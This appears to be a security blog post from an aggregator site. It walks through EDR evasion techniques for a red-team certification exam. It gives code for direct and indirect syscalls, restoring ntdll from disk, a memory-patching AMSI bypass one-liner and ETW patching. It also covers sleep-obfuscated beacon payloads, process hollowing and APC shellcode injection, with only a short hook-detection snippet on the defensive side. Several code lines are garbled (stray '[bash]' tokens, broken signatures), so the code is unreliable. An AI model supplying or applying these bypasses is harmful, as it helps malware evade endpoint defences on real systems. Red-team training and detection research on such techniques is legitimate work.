Listen to this Post
Introduction:
Modern Endpoint Detection and Response (EDR) products no longer rely solely on signature-based detection; they leverage userland hooks, kernel callbacks, AMSI, and ETW to monitor every process interaction. To evade seven concurrent EDR solutions—as required by White Knight Labs’ notorious certification exam—an operator must master low-level Windows internals, direct syscalls, and unhooking techniques that bypass even the most aggressive sensors. This article dissects the exact tradecraft used to pass that exam, providing verified commands and step-by-step guides for Linux and Windows environments.
Learning Objectives:
- Understand how EDRs inject hooks into `ntdll.dll` and monitor API calls, and learn to bypass them using direct and indirect syscalls.
- Implement AMSI and ETW bypasses, sleep obfuscation, and process injection variants that evade behavioral detection.
- Apply unhooking techniques and beacon object files to maintain stealth across multiple EDR products simultaneously.
You Should Know:
1. Direct Syscalls – Evading Userland Hooks
Most EDRs place inline hooks in `ntdll.dll` functions like `NtCreateProcess` or NtAllocateVirtualMemory. When your code calls CreateProcess, it eventually traverses hooked functions, alerting the EDR. Direct syscalls bypass these hooks by invoking the system call from your own assembly or C++ stub.
Step‑by‑step guide (Windows – C++ with inline assembly for x64):
1. Obtain the syscall number (SSN) for `NtAllocateVirtualMemory` from `ntdll.dll` (e.g., using a disassembler or dynamic retrieval).
2. Write a custom stub that moves the SSN into `eax` and executes syscall:
__asm {
mov r10, rcx
mov eax, SSN_NtAllocateVirtualMemory
syscall
ret
}
3. Call the stub instead of VirtualAlloc. For a robust implementation, use a C++ library like `syswhispers2` to generate syscall functions for all needed NT APIs.
4. Compile with Visual Studio (disable security cookies, disable incremental linking). Run the binary – no userland hooks are triggered.
Linux equivalent (bypassing hooking via seccomp? Not identical, but you can use `syscall()` function directly):
long res = syscall(__NR_mmap, addr, len, prot, flags, fd, offset);
2. Unhooking EDR DLLs – Restoring Clean ntdll
EDRs often replace the in‑memory `ntdll.dll` with a hooked version. By reading a fresh copy from disk (C:\Windows\System32\ntdll.dll), you can overwrite the hooked sections.
Step‑by‑step guide (PowerShell & C++):
- Use `Get-Process -Id $pid | Select-Object -ExpandProperty Modules` to locate the base address of the hooked
ntdll. - Read the clean `ntdll.dll` from disk into a byte array.
- Calculate the size of the `.text` section (where hooks reside) and write the clean bytes over the hooked region using `WriteProcessMemory` or
NtProtectVirtualMemory. - PowerShell (minimal example for proof of concept – requires admin):
$clean = [System.IO.File]::ReadAllBytes("C:\Windows\System32\ntdll.dll") $module = Get-Process -Id $pid -Module | Where-Object {$_.ModuleName -eq "ntdll.dll"} [System.Runtime.InteropServices.Marshal]::Copy($clean, 0, $module.BaseAddress, $clean.Length) - After unhooking, any subsequent syscall‑wrapper calls will be EDR‑free.
-
Bypassing AMSI and ETW – Disabling Logging at Runtime
Antimalware Scan Interface (AMSI) and Event Tracing for Windows (ETW) are primary sources of script and .NET telemetry. Patching their in‑memory functions is a classic evasion technique.
Step‑by‑step guide (PowerShell – AMSI bypass via memory patching):
1. Locate the `AmsiScanBuffer` function in `amsi.dll`.
- Patch the first few bytes to return `AMSI_RESULT_CLEAN` (i.e.,
mov eax, 0x00000000; ret).
3. One‑liner example (for testing only):
$Win32 = Add-Type -memberDefinition @"[DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);"@ -name "Win32" -namespace Win32Functions;
$ptr = [bash]::GetProcAddress([bash]::LoadLibrary("amsi.dll"), "AmsiScanBuffer");
$oldProtect = 0; [bash]::VirtualProtect($ptr, [bash]5, 0x40, [bash]$oldProtect);
[System.Runtime.InteropServices.Marshal]::Copy(@(0x31,0xC0,0xC3), 0, $ptr, 3);
4. For ETW, patch `EtwEventWrite` in `ntdll.dll` to `ret` (return 0) using similar memory patching.
4. Sleep Obfuscation & Beacon Object Files (BOFs)
Static sleeps are easily detected by EDRs that monitor thread timing. Sleep obfuscation replaces `Sleep()` with a decryption routine that only resumes execution after a silent decoy.
Step‑by‑step guide (Cobalt Strike BOF pattern):
- Write a BOF that allocates a buffer with encrypted payload, sleeps for a jittered period, then decrypts and executes.
- Use `BeaconInjectProcess` to run the decrypted shellcode inside a suspended legitimate process.
3. Example BOF skeleton (C):
void go(char args, int len) {
// Decrypt payload using XOR with random key from beacon
Sleep(10000 + (GetTickCount() % 5000));
// Inject into notepad.exe
}
4. Compile with `x86_64-w64-mingw32-gcc -c bof.c -o bof.o` and load via Cobalt Strike or custom agent.
- Process Injection Variants – Process Hollowing & APC Injection
Classic `CreateRemoteThread` is burned. Instead, use Process Hollowing (overwriting a suspended legitimate process) or Asynchronous Procedure Call (APC) injection.
Step‑by‑step (Windows – Process Hollowing):
- Create a suspended process (e.g.,
C:\Windows\System32\svchost.exe) withCREATE_SUSPENDED. - Call `NtUnmapViewOfSection` to unmap the original executable image.
- Allocate new memory with `NtAllocateVirtualMemory` (or
VirtualAllocEx) and write your malicious PE. - Set the entry point via `SetThreadContext` and resume with
ResumeThread.
APC injection (uses queueable APCs on alertable threads):
QueueUserAPC((PAPCFUNC)shellcode_address, thread, (ULONG_PTR)NULL);
Target a thread that calls `SleepEx` or `WaitForSingleObjectEx` (e.g., explorer.exe threads).
6. Detecting EDR Hooks in Your Process
Before executing any evasion, map the EDR’s hooks. Use `NtQuerySystemInformation` to enumerate loaded drivers and scan `ntdll` for inline hooks (opcodes like `jmp` or `call` to non‑ntdll addresses).
PowerShell detection snippet:
$ntdll = [System.Diagnostics.Process]::GetCurrentProcess().Modules | Where-Object {$_.ModuleName -eq "ntdll.dll"}
$bytes = [System.IO.File]::ReadAllBytes($ntdll.FileName)
$hook_bytes = New-Object byte[] $bytes.Length
[System.Runtime.InteropServices.Marshal]::Copy($ntdll.BaseAddress, $hook_bytes, 0, $bytes.Length)
for ($i = 0; $i -lt $bytes.Length; $i++) {
if ($bytes[$i] -ne $hook_bytes[$i]) {
Write-Host "Hook found at offset $i"
}
}
7. Leveraging Indirect Syscalls for Multi‑EDR Evasion
Direct syscalls can still be caught by EDRs that monitor the `syscall` instruction itself via Intel PT or hypervisor hooks. Indirect syscalls use a `jmp` to a `syscall; ret` gadget inside a non‑hooked module (e.g., `ntdll` itself).
Step‑by‑step:
- Find a `syscall; ret` gadget in `ntdll` (offset 0x10 from `syscall` stub).
- Write assembly that loads the SSN into
eax, then `jmp` to that gadget.
3. Example (NASM):
mov r10, rcx mov eax, SSN jmp qword [bash]
4. This avoids placing a `syscall` instruction in your own code, making detection harder.
What Undercode Say:
- Key Takeaway 1: Bypassing seven EDRs is no longer about a single magic technique; it requires a layered approach—direct syscalls for API calls, unhooking for fresh
ntdll, and sleep obfuscation to defeat timing‑based detection. - Key Takeaway 2: The White Knight Labs exam forces operators to build a custom evasion framework because off‑the‑shelf tools are immediately flagged. Mastering Windows internals (PEB, TEB, syscall numbers) is now a baseline requirement for red team professionals.
Analysis: Modern EDRs have commoditized signature detection, but they are still vulnerable to the fundamental trust in `ntdll` and kernel‑mode call gates. The arms race has shifted to detecting the act of evasion itself—monitoring for unhooking attempts or anomalous syscall patterns. However, as Undercode notes, combining unhooking with indirect syscalls and process injection into non‑suspicious parent processes (e.g., `userinit.exe` → notepad.exe) remains remarkably effective. The real value of courses like White Knight Labs is the methodology of rapid tradecraft iteration, not just a list of commands.
Prediction:
As EDR vendors integrate machine learning for behavioral anomaly detection, evasion will pivot toward exploiting trusted signed binaries (LOLBins) and kernel callback bypasses via driver vulnerabilities. In the next 18 months, we will see the rise of EDR‑aware payloads that can fingerprint the specific EDR and dynamically select a combination of unhooking, direct syscalls, and hardware breakpoint‑based hooks. The certification tracked in this post is a harbinger: future red team exams will require bypassing cloud‑native EDRs (e.g., Microsoft Defender for Endpoint on Azure workloads) and container‑aware security agents. Operators must now learn Linux eBPF hook evasion and cross‑platform tradecraft or risk obsolescence.
▶️ Related Video (82% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: P4w31m4zur Cert – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
